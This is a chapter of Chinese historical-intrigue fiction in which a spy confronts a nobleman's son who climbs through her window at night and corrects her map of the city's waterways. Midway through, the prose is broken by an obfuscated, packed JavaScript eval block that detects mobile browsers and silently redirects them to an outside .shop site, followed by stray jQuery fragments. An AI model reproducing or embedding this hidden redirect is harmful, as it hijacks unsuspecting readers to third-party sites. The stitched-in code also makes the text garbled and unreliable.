夜已经很深,听风楼前厅的灯灭了大半,只剩檐下两盏风灯还亮着。雪被北风吹到廊下,落在木阶上,很快化成一片暗湿。戏台早散了场,白日里的锣鼓和脂粉气都沉下去,空楼深处偶尔传来木梁收缩的轻响。
虞清和独自坐在后台,案上摊着一张幽州水道图。图纸已被她改过数遍,边角压着铜尺和短刀,墨迹层层覆盖,几处旧渠名已经模糊。她低头在西南角补最后一处暗渠,笔尖停了停,又把旁边一座粮仓的位置轻点出来。
这十几日,她查得太深。坊市、粮仓、河道、军巡、宵禁、灯令,分开看都只是幽州的规矩,落在同一张图上,却能看出这座城如何被层层扣住。最麻烦的是水。旧燕河从城底穿过,明渠供排洪,暗渠连坊市,死闸与内河相接,几处水口又正对粮仓和旧坊。一旦城中有变,水闸调动得当,半个时辰便能封住三坊。
她正要落笔,窗轴响了一下。声响极轻,像被风带过。
虞清和没有抬头,右手已经按住案边短刀。窗被推开一寸,冷风卷着雪扑进来。下一息,刀锋掠过烛火,抵上来人喉间。
来人半个身子还挂在窗外,一手扶着窗框,被刀逼住也没躲。烛火晃了晃,照出燕平山那张沾着雪气的脸。他头发被夜风吹乱,身上仍带着酒味,颈侧贴着刀锋,还能笑出来。
“虞老板。”他看了一眼近在咫尺的刀,笑意还挂在嘴边,“大半夜的,这样迎我?”虞清和握刀的手没有松:“你再动一下,我真割下去。”燕平山偏了偏头,喉结几乎擦着刀锋,“那你割。能死在听风楼,也算我今夜来得值。”
刀锋压破皮肤,一点血从他颈边渗出。他没有退。虞清和看着他空着的腰间和干净的袖口,很快明白,他没有带兵器,方才那一下窗轴声也不是失手。他是故意让她听见。若进来的真是总兵府暗探,或巡河司的人,案上这张水道图已经足够要命。
她的目光沉下去:“你来做什么?”燕平山垂眼看刀:“看戏。”“半夜翻窗看戏?”“听风楼不就是做这个营生的?”虞清和冷声道:“戏散了。”“那我来得不巧。”他目光越过她肩头,落在案上的图纸上,“不过虞老板灯下执笔,也不比台上的戏差。”
虞清和将刀往前压了半分:“燕平山,你是不是太闲了?”“是挺闲。”他低头看了一眼颈边渗出的血,竟还有心思笑,他目光转到案上的水道图。屋中静了一息,虞清和想收图已经来不及。燕平山只看了一眼,眉梢便动了动,“画错了。”
虞清和盯着他:“你看得懂?”“废话。”他语气仍旧懒散,话却接得很快,“你把死闸画在西渠下口,真有人照这张图走,明日就能被卷进沉河槽。”“沉河槽?”
燕平山伸手去拿笔,虞清和横刀拦住。他停了一下,放慢动作,把两根手指摊给她看:“借笔。不碰别的。”
她没有让开:“你就这么说。”“说不清。”他看她一眼,眼底仍有笑,“虞老板防我防成这样,我很伤心。”“你若真伤心,便从窗户退回去。”“那不成。”燕平山低声道,“来都来了,总要帮你把错处改完,免得你下回真栽进河里。”
燕平山从刀锋旁拿起笔,动作慢得近乎刻意。他俯身时离她很近,衣上的雪气和酒气一起压过来,又被那股苦药味生生截住。虞清和没有退,只把刀锋贴得更稳。他低头在图纸某处一点,又往旁边移了半寸:“死闸不在明渠,在下层。幽州地势北高南低,旧燕河从城底过,表面一层是水渠,下面还有暗河。真出事的时候,沉人的不是水面,是底下那层翻板。”
他说得太熟,熟到不像从纸上看来的。虞清和盯着他落笔的位置,脑中把近来查到的几处失踪地重新过了一遍。城南旧巷,西渠下口,河坊背街,都在这条暗河附近。
她抬眼:“沉河槽是做什么的?”
燕平山没有回答,只把她画错的地方改了一笔。墨色压过原来的痕迹,他的手很稳,落下去没有半点犹豫。
虞清和看着那一笔:“你到底是谁?”燕平山说:“全幽州都知道我是谁。”“不学无术的纨绔子弟,不会懂这些。”他笑了一声:“那是我装得还不够像。”
他说完咳了两声,拿袖口遮得很快。虞清和却闻到了他身上的味道:雪气、炭灰、酒气,还有常年浸在衣料里的苦药味。她目光落到他手上。那只手生得修长,掌心和虎口却满是硬茧,虎口还有几处冻裂后反复愈合留下的旧痕。城南那些老兵手上,也常有这样的裂口。
燕平山察觉她在看,把袖口往下拉了拉:“虞老板,刀还架着,眼睛又盯着我的手,这让我很难不多想。”
虞清和收回视线:“总兵府的公子,手倒不金贵。”燕平山问:“那像什么?”“苦力。”他被她说笑了:“原来虞老板好这一口。早说,我下回来时换身短打。”
虞清和面无表情地看着他:“你可以试试。”燕平山笑意更深,偏偏没有再往下接。他总能把刀尖上的话搅成半真半假的玩笑。越是这样,她越不敢松手。一个人若能在被刀抵着喉咙时仍旧调笑,便不是胆大而已。
窗外风大了些,雪吹进来,落在图纸边缘,化成一点湿痕。燕平山低头看着她满纸标记:“你查得太快了。”
虞清和问:“什么意思?”
“幽州不是你从前待过的地方。”他把笔搁回案上,“这里的人发现有人在查东西,未必立刻抓你。他们会先看你想查什么,再看谁会因你开口,最后才决定让你活到哪一天。”
虞清和手里的刀仍横在他颈边:“你在威胁我?”“提醒你。”“为什么?”燕平山抬眼看她。烛火落进他眼底,明暗被压得很深。“虞老板若折在臭水沟里,听风楼往后少收多少看客,我替你心疼。”
虞清和看着他,刀锋稳得没有半点颤:“再多说一句,我先让你少几分颜色。”
燕平山很识趣地闭了嘴,只是唇边笑意还没退干净。
“你早就知道我有问题。”“嗯。”他答得坦然,虞清和的目光更冷:“为什么不抓我?”“抓你做什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581883|205119||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“总兵府最忌讳外人探城防。”“那得看是什么外人。”“我若是来刺杀总兵大人的呢?”
燕平山看了她片刻,这次没有立刻拿玩笑挡过去。楼外风雪掠过檐角,屋里只剩灯芯细响。过了一会儿,他说:“刺客不会这样看幽州。”
虞清和指尖一紧。燕平山已经转开目光,像那句话并不值得多说。楼下更夫敲过三更,声音被雪压得发闷。他偏头听了听:“我该走了。”
虞清和没让开:“你今晚到底为什么来?”燕平山的目光落到她桌边那盏灯上:“你窗没关,外头有人盯了你两日。”“谁?”“巡河司。”虞清和呼吸一顿:“为什么?”“你最近摸水道,摸得太明显。”他叹了口气,语气仍像漫不经心,“虞老板,你是真不怕惹祸。”
“燕二公子半夜翻窗,就不怕?”“怕。”燕平山笑了一下,“所以才挑没人的时候来。若让旁人瞧见,还以为我与虞老板有什么私情。”
他说完转身要走,虞清和却一把扣住他的手腕。两人距离被这一拽拉近,她清楚闻见他衣领里的苦药味,比方才更重。
她低声问:“你身上为什么有伤药味?”燕平山垂眼看她:“虞老板,查人查到床上,不太好吧。”
虞清和没有松手。燕平山手腕一挣,她下意识收刀,仍慢了半分。刀锋划过他侧颈,血立刻涌出来,不深,却红得刺眼。
她的手停在半空。
燕平山抬手抹了一下,指尖全是血。他低头看了看,反倒笑了:“这下真要留疤。虞老板,下回见我,可得负责。”
虞清和抿紧唇。她见过的血远比这多,暗狱里、荒村里、死人堆里,哪一种都比这道伤重。可此刻看见血顺着他颈侧滑进衣领,她心里却生出一点烦躁,像有什么事偏离了她原本的判断。
她收刀:“你自己乱动。”
“是,我活该。”燕平山认得很快,翻上窗台时还把袖口往颈边按了按。风雪从他身后灌进来,烛火被吹得一晃。他半蹲在窗沿上,回头看她,方才那些不正经的笑意被夜色压淡了些。
“虞老板。”他低声道,“幽州夜冷,别乱走。”这话他说过一次。这一次声音低了些,说完便翻窗消失在雪夜里,动作利落,半点不像喝过酒的人。
屋里重新安静下来。虞清和站在原地,短刀垂在身侧,刀锋上还沾着他的血。她看了片刻,才慢慢坐回案前,目光落到那张被燕平山改过的水道图上。
那一笔极稳。死闸,暗河,沉河槽,巡河司盯梢。他知道的东西比她想得更多,也比一个总兵府闲散公子该知道的更多。
窗外雪还在下。虞清和把刀放回桌边,本该立刻擦去血迹,却没有动。烛火照着那一点红,也照着图纸上新改出的暗处。她坐在灯下许久,没有再落笔。
暗探七年,她见过许多人。大多数人只要给她时间,总能找到他们想要什么、怕什么、藏着什么。燕平山却像墨落进雪里,看着分明,转眼又洇开。
这样的人,才最危险。